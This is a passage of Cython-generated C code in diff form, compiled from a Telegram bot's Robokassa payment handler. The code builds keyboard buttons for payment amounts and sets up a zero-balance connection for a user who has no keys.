+ * ), + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_Dict_GetItem(__pyx_t_13, __pyx_n_u_text); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_12) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + + /* "handlers/payments/robokassa_pay.py":78 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_Dict_GetItem(__pyx_t_13, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_t_12, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u_robokassa_amount, __pyx_t_13); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_12) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + + /* "handlers/payments/robokassa_pay.py":76 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/robokassa_pay.py":80 + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + + /* "handlers/payments/robokassa_pay.py":81 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_15 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_15, __pyx_n_u_text); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":82 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_15 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_t_13 = __Pyx_PyObject_GetItem(__pyx_t_14, __pyx_t_15); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __pyx_t_15 = __Pyx_PyObject_Dict_GetItem(__pyx_t_13, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_t_15, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u_robokassa_amount, __pyx_t_13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_15) < 0) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + + /* "handlers/payments/robokassa_pay.py":80 + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_t_12, __pyx_t_15}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":74 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L6; + } + + /* "handlers/payments/robokassa_pay.py":86 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/robokassa_pay.py":87 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + + /* "handlers/payments/robokassa_pay.py":88 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_12 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_12, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":89 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_11, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u_robokassa_amount, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_12, __pyx_n_s_callback_data, __pyx_t_1) < 0) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":87 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_empty_tuple, __pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, __pyx_t_1}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_L6:; + + /* "handlers/payments/robokassa_pay.py":73 + * + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":92 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/robokassa_pay.py":93 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_robokassa", + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/robokassa_pay.py":94 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_robokassa", + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 94, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_robokassa) < 0) __PYX_ERR(0, 94, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":93 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_robokassa", + */ + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_12}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":98 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * key_count = await get_key_count(tg_id) + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_6}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":100 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< + * + * if key_count == 0: + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_key_count = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":102 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + __pyx_t_10 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 102, __pyx_L1_error) + if (__pyx_t_10) { + + /* "handlers/payments/robokassa_pay.py":103 + * + * if key_count == 0: + * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L10_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 103, __pyx_L1_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_exists = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":104 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + */ + __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_16 = (!__pyx_t_10); + if (__pyx_t_16) { + + /* "handlers/payments/robokassa_pay.py":105 + * exists = await check_connection_exists(tg_id) + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 105, __pyx_L1_error); + __pyx_t_6 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_balance, 